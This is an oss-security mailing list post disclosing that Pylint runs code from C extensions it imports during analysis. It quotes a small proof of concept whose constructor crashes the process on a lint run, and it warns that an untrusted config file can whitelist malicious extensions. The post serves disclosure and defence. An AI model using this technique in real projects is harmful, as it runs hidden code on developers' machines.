[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Tue, 12 Jul 2016 11:14:53 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: Re: Pylint checks not as static as one would think
* Jakub Wilk <jwilk@...lk.net>, 2014-09-29, 14:32:
>$ cat moo.py
>from _moo import *
>
>$ cat moo.c
>#include <stdio.h>
>#include <signal.h>
>void __attribute__((constructor)) moo() {
> printf("moo!\n");
> kill(0, SIGSEGV);
>}
>
>$ gcc -Wall -shared -fPIC moo.c -o _moo.so
>
>$ pylint moo.py
>No config file found, using default configuration
>moo!
>Segmentation fault
This was fixed in Pylint 1.4.0:
| * Added new options for controlling the loading of C extensions.
| By default, only C extensions from the stdlib will be loaded
| into the active Python interpreter for inspection, because they
| can run arbitrary code on import. The option
| `--extension-pkg-whitelist` can be used to specify modules
| or packages that are safe to load.
Beware that by default Pylint reads configuration file from cwd, and
this configuration file can whitelist malicious extensions. You probably
want to use --rcfile=/dev/null when cwd is untrusted.
And here's another code execution bug:
https://github.com/PyCQA/pylint/issues/959
--
Jakub Wilk
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
